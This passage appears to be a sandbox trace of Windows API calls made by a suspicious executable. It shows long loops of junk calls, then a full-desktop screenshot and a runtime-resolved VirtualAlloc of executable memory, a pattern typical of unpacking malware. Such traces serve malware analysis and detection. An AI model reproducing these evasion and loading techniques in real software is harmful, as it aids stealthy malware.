uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.663] LockResource (hResData=0x0) returned 0x0 [0140.663] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.664] WinWatchNotify () returned 0x0 [0140.664] timeGetTime () returned 0x113866b [0140.664] WinWatchOpen () returned 0x299c80 [0140.664] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.664] LockResource (hResData=0x0) returned 0x0 [0140.664] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.664] WinWatchNotify () returned 0x0 [0140.664] timeGetTime () returned 0x113866b [0140.664] WinWatchOpen () returned 0x299ca0 [0140.664] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.664] LockResource (hResData=0x0) returned 0x0 [0140.664] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.664] WinWatchNotify () returned 0x0 [0140.664] timeGetTime () returned 0x113866b [0140.664] WinWatchOpen () returned 0x299cc0 [0140.664] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.664] LockResource (hResData=0x0) returned 0x0 [0140.664] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.664] WinWatchNotify () returned 0x0 [0140.664] timeGetTime () returned 0x113866b [0140.664] WinWatchOpen () returned 0x299ce0 [0140.664] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.664] LockResource (hResData=0x0) returned 0x0 [0140.664] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.664] WinWatchNotify () returned 0x0 [0140.664] timeGetTime () returned 0x113866b [0140.664] WinWatchOpen () returned 0x299d00 [0140.664] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.664] LockResource (hResData=0x0) returned 0x0 [0140.664] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.664] WinWatchNotify () returned 0x0 [0140.664] timeGetTime () returned 0x113866b [0140.664] WinWatchOpen () returned 0x299d20 [0140.664] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.664] LockResource (hResData=0x0) returned 0x0 [0140.664] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.664] WinWatchNotify () returned 0x0 [0140.664] timeGetTime () returned 0x113866c [0140.664] WinWatchOpen () returned 0x299d40 [0140.664] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.664] LockResource (hResData=0x0) returned 0x0 [0140.665] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.665] WinWatchNotify () returned 0x0 [0140.665] timeGetTime () returned 0x113866c [0140.665] WinWatchOpen () returned 0x299d60 [0140.665] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.665] LockResource (hResData=0x0) returned 0x0 [0140.665] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.665] WinWatchNotify () returned 0x0 [0140.665] timeGetTime () returned 0x113866c [0140.665] WinWatchOpen () returned 0x299d80 [0140.665] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.665] LockResource (hResData=0x0) returned 0x0 [0140.665] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.665] WinWatchNotify () returned 0x0 [0140.665] timeGetTime () returned 0x113866c [0140.665] WinWatchOpen () returned 0x299da0 [0140.665] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.665] LockResource (hResData=0x0) returned 0x0 [0140.665] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.665] WinWatchNotify () returned 0x0 [0140.665] timeGetTime () returned 0x113866c [0140.665] WinWatchOpen () returned 0x299dc0 [0140.665] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.665] LockResource (hResData=0x0) returned 0x0 [0140.665] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.665] WinWatchNotify () returned 0x0 [0140.665] timeGetTime () returned 0x113866c [0140.665] WinWatchOpen () returned 0x299de0 [0140.665] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.665] LockResource (hResData=0x0) returned 0x0 [0140.665] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.665] WinWatchNotify () returned 0x0 [0140.665] timeGetTime () returned 0x113866c [0140.665] WinWatchOpen () returned 0x299e00 [0140.665] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.665] LockResource (hResData=0x0) returned 0x0 [0140.665] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.665] WinWatchNotify () returned 0x0 [0140.665] timeGetTime () returned 0x113866c [0140.665] WinWatchOpen () returned 0x299e20 [0140.665] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.665] LockResource (hResData=0x0) returned 0x0 [0140.666] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.666] WinWatchNotify () returned 0x0 [0140.666] timeGetTime () returned 0x113866c [0140.666] WinWatchOpen () returned 0x299e40 [0140.666] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.666] LockResource (hResData=0x0) returned 0x0 [0140.666] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.666] WinWatchNotify () returned 0x0 [0140.666] timeGetTime () returned 0x113866c [0140.666] WinWatchOpen () returned 0x299e60 [0140.666] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.666] LockResource (hResData=0x0) returned 0x0 [0140.666] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.666] WinWatchNotify () returned 0x0 [0140.666] timeGetTime () returned 0x113866c [0140.666] WinWatchOpen () returned 0x299e80 [0140.666] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.666] LockResource (hResData=0x0) returned 0x0 [0140.666] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.666] WinWatchNotify () returned 0x0 [0140.666] timeGetTime () returned 0x113866c [0140.666] WinWatchOpen () returned 0x299ea0 [0140.666] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.666] LockResource (hResData=0x0) returned 0x0 [0140.666] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.666] WinWatchNotify () returned 0x0 [0140.666] timeGetTime () returned 0x113866c [0140.666] WinWatchOpen () returned 0x299ec0 [0140.666] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.666] LockResource (hResData=0x0) returned 0x0 [0140.666] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.666] WinWatchNotify () returned 0x0 [0140.666] timeGetTime () returned 0x113866c [0140.666] WinWatchOpen () returned 0x299ee0 [0140.666] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.666] LockResource (hResData=0x0) returned 0x0 [0140.666] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.666] WinWatchNotify () returned 0x0 [0140.666] timeGetTime () returned 0x113866c [0140.666] WinWatchOpen () returned 0x299f00 [0140.666] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.666] LockResource (hResData=0x0) returned 0x0 [0140.667] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.667] WinWatchNotify () returned 0x0 [0140.667] timeGetTime () returned 0x113866c [0140.667] WinWatchOpen () returned 0x299f20 [0140.667] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.667] LockResource (hResData=0x0) returned 0x0 [0140.667] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.667] WinWatchNotify () returned 0x0 [0140.667] timeGetTime () returned 0x113866c [0140.667] WinWatchOpen () returned 0x299f40 [0140.667] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.667] LockResource (hResData=0x0) returned 0x0 [0140.667] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.667] WinWatchNotify () returned 0x0 [0140.667] timeGetTime () returned 0x113866c [0140.667] WinWatchOpen () returned 0x299f60 [0140.667] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.667] LockResource (hResData=0x0) returned 0x0 [0140.667] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.667] WinWatchNotify () returned 0x0 [0140.667] timeGetTime () returned 0x113866d [0140.667] WinWatchOpen () returned 0x299f80 [0140.667] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.667] LockResource (hResData=0x0) returned 0x0 [0140.667] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.667] WinWatchNotify () returned 0x0 [0140.667] timeGetTime () returned 0x113866d [0140.667] WinWatchOpen () returned 0x299fc0 [0140.667] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.667] LockResource (hResData=0x0) returned 0x0 [0140.667] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.667] WinWatchNotify () returned 0x0 [0140.667] timeGetTime () returned 0x113866d [0140.667] WinWatchOpen () returned 0x299fe0 [0140.667] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.667] LockResource (hResData=0x0) returned 0x0 [0140.667] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.674] Escape (in: hdc=0xc, iEscape=19, cjIn=5, pvIn="¸à=", pvOut=0x0 | out: pvOut=0x0) returned 0 [0140.744] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.744] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.744] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.744] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.744] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.744] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.744] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.744] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.744] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.744] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.744] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.744] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.744] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.744] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.744] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0140.744] IsDlgButtonChecked (hDlg=0x0, nIDButton=0) returned 0x0 [0140.744] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.744] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.744] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.744] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.744] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.744] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.744] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.744] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.744] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.745] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.746] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.746] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.746] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.746] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.746] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.746] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.746] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.746] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.746] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.746] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.746] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.746] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.746] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.746] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.746] GetWindowLongA (hWnd=0x0, nIndex=-6) returned 0 [0140.746] GetDesktopWindow () returned 0x10010 [0140.746] GetDC (hWnd=0x10010) returned 0x601015d [0140.746] GetClientRect (in: hWnd=0x10010, lpRect=0x18f54c | out: lpRect=0x18f54c) returned 1 [0140.746] CreateCompatibleDC (hdc=0x601015d) returned 0x110101e7 [0140.746] CreateDIBSection (in: hdc=0x110101e7, lpbmi=0x18f4d8, usage=0x0, ppvBits=0x18f528, hSection=0x0, offset=0x0 | out: ppvBits=0x18f528) returned 0x4405076d [0140.746] SelectObject (hdc=0x110101e7, h=0x4405076d) returned 0x185000f [0140.746] BitBlt (hdc=0x110101e7, x=0, y=0, cx=1440, cy=900, hdcSrc=0x601015d, x1=0, y1=0, rop=0xcc0020) returned 1 [0140.825] ReleaseDC (hWnd=0x10010, hDC=0x601015d) returned 1 [0140.953] GdipAlloc (size=0x10) returned 0x0 [0140.953] LoadLibraryA (lpLibFileName="kernel32") returned 0x762e0000 [0140.954] SelectObject (hdc=0x110101e7, h=0x185000f) returned 0x4405076d [0140.954] DeleteObject (ho=0x4405076d) returned 1 [0141.013] DeleteDC (hdc=0x110101e7) returned 1 [0141.025] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x18f470 | out: ppstm=0x18f470*=0x2a6040) returned 0x0 [0141.026] GetProcAddress (hModule=0x762e0000, lpProcName="VirtualAlloc") returned 0x762f1856 [0141.026] GdipAlloc (size=0x10) returned 0x0 [0141.026] VirtualAlloc (lpAddress=0x0, dwSize=0x34000, flAllocationType=0x3000, flProtect=0x40) returned 0x1d80000 [0141.027] IUnknown:Release (This=0x2a6040) returned 0x0 [0141.035] DialogBoxParamA (hInstance=0x400000, lpTemplateName=0x8a, hWndParent=0x0, lpDialogFunc=0x429e70, dwInitParam=0x0) returned 0xffffffff [0141.035] IsWindow (hWnd=0x0) returned 0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] 